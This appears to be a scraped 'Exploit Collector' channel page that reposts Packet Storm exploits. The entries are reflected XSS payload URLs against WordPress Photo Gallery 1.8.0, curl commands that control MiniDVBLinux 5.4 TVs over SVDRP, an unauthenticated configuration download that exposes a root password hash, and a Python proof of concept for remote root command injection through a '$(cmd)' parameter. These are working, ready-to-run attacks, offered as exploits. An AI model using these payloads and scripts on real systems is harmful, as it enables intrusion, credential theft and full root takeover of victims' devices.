Hacking Articles Tips Tricks Videos Tutorials

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                      [ Exploits ]                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : wordpress.org/plugins/                                                     │
│  Vendor   : Photo Gallery Team - wpsofts.com                                           │
│  Software : WordPress Photo Gallery 1.8.0                                              │
│  Vuln Type: Reflected XSS                                                              │
│  Method   : GET                                                                        │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL 

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2022                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

URL parameter 'pg' is vulnerable to XSS

Path: /photo-gallery/

https://wpsofts.com/grid-kit-demo/photo-gallery/?pid=47&pg=2&zdifv%2527%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eh18n1=1
URL parameter 'pid' is vulnerable to XSS

Path: /photo-gallery/

https://wpsofts.com/grid-kit-demo/photo-gallery/?pida2sg4%27%2dalert%281%29%2d%27z632u&pg=2
[-] Done

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

WordPress Photo Gallery 1.8.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 15:34

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
MiniDVBLinux 5.4 SVDRP Control

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
MiniDVBLinux versions 5.4 and below allows the usage of the SVDRP protocol/commands to be sent by a remote attacker to manipulate and/or remotely control the TV.

SHA-256 | 6ca45864b59b9bfcfbf2d0155585603457973998837abe6c8927faea25e9ab5c

Download


MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: 

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application allows the usage of the SVDRP protocol/commands
to be sent by a remote attacker to manipulate and/or control remotely
the TV.

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5714
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php
24.09.2022

--
Send a message to the TV screen:

curl http://ip:8008/?site=commands§ion=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!

220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
250 Message queued
221 mld closing connection

For more commands:
- https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

MiniDVBLinux 5.4 SVDRP Control

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 15:34

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
MiniDVBLinux 5.4 Configuration Download

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
MiniDVBLinux versions 5.4 and below are vulnerable to an unauthenticated configuration download when a direct object reference is made to the backup function using an HTTP GET request.

SHA-256 | 7ab888db49eea26e9ca7aff5173e0acde777a68547b67c2e28778d0e329d35b7

Download


MiniDVBLinux 5.4 Config Download Exploit
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: 

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application is vulnerable to unauthenticated configuration
download when direct object reference is made to the backup function
using an HTTP GET request. This will enable the attacker to disclose
sensitive information and help her in authentication bypass, privilege
escalation and full system access.

====================================================================
/var/www/tpl/setup/Backup/Edit\ backup/51_download_backup.sh:
------------------------------------------------------------
01: 
02: if [ "$GET_action" = "getconfig" ]; then
03:     . /etc/rc.config
04:     header "Content-Type: application/x-compressed-tar"
05:     header "Content-Disposition: filename=`date +%Y-%m-%d_%H%M_$HOST_NAME`_config.tgz"
06:     /usr/bin/backup-config.sh export /tmp/backup_config_$$.tgz &>/dev/null
07:     cat /tmp/backup_config_$$.tgz
08:     rm -rf /tmp/backup_config*
09:     exit
10: fi
11: ?>
12: 
====================================================================

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5713
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5713.php
24.09.2022

--
> curl http://ip:8008/tpl/setup/Backup/Edit%20backup/51_download_backup.sh?action=getconfig -o config.tgz
> mkdir configdir
> tar -xvzf config.tgz -C .\configdir
> cd configdir && cd etc
> type passwd
root:$1$ToYyWzqq$oTUM6EpspNot2e1eyOudO0:0:0:root:/root:/bin/sh
daemon:!:1:1::/:
ftp:!:40:2:FTP account:/:/bin/sh
user:!:500:500::/home/user:/bin/sh
nobody:!:65534:65534::/tmp:
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

MiniDVBLinux 5.4 Configuration Download

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 15:34

Hacking Articles Tips Tricks Videos Tutorials

4 views15:34

Hacking Articles Tips Tricks Videos Tutorials

4 views15:34

Hacking Articles Tips Tricks Videos Tutorials

4 views15:35

Hacking Articles Tips Tricks Videos Tutorials

4 views15:35

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
MiniDVBLinux 5.4 Remote Root Command Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
MiniDVBLinux version 5.4 suffers from an OS command injection vulnerability. This can be exploited to execute arbitrary commands with root privileges.

SHA-256 | e19e04d5e5328c8f948b2f62f7f2a2d8c6c3b2ef2b324f8e880e61bc0db1f5c1

Download

#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Remote Root Command Injection Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version: 
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The application suffers from an OS command injection vulnerability.
# This can be exploited to execute arbitrary commands with root privileges.
#
# Tested on: MiniDVBLinux 5.4
#            BusyBox v1.25.1
#            Architecture: armhf, armhf-rpi2
#            GNU/Linux 4.19.127.203 (armv7l)
#            VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5717
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5717.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT
#test case 004
#http://ip:8008/?site=about&name=blind&file=$(id)
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory
#test case 005
#http://ip:8008/?site=about&name=blind&file=`id`
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory

if len(sys.argv) < 3:
print('MiniDVBLinux 5.4 Command Injection PoC')
print('Usage: ./mldhd_root2.py [url] [cmd]')
sys.exit(17)
else:
url = sys.argv[1]
cmd = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file=$('+cmd+')')
outz = re.search('(.*?)',req.text,flags=re.S).group()
print(outz.replace('','').replace('',''))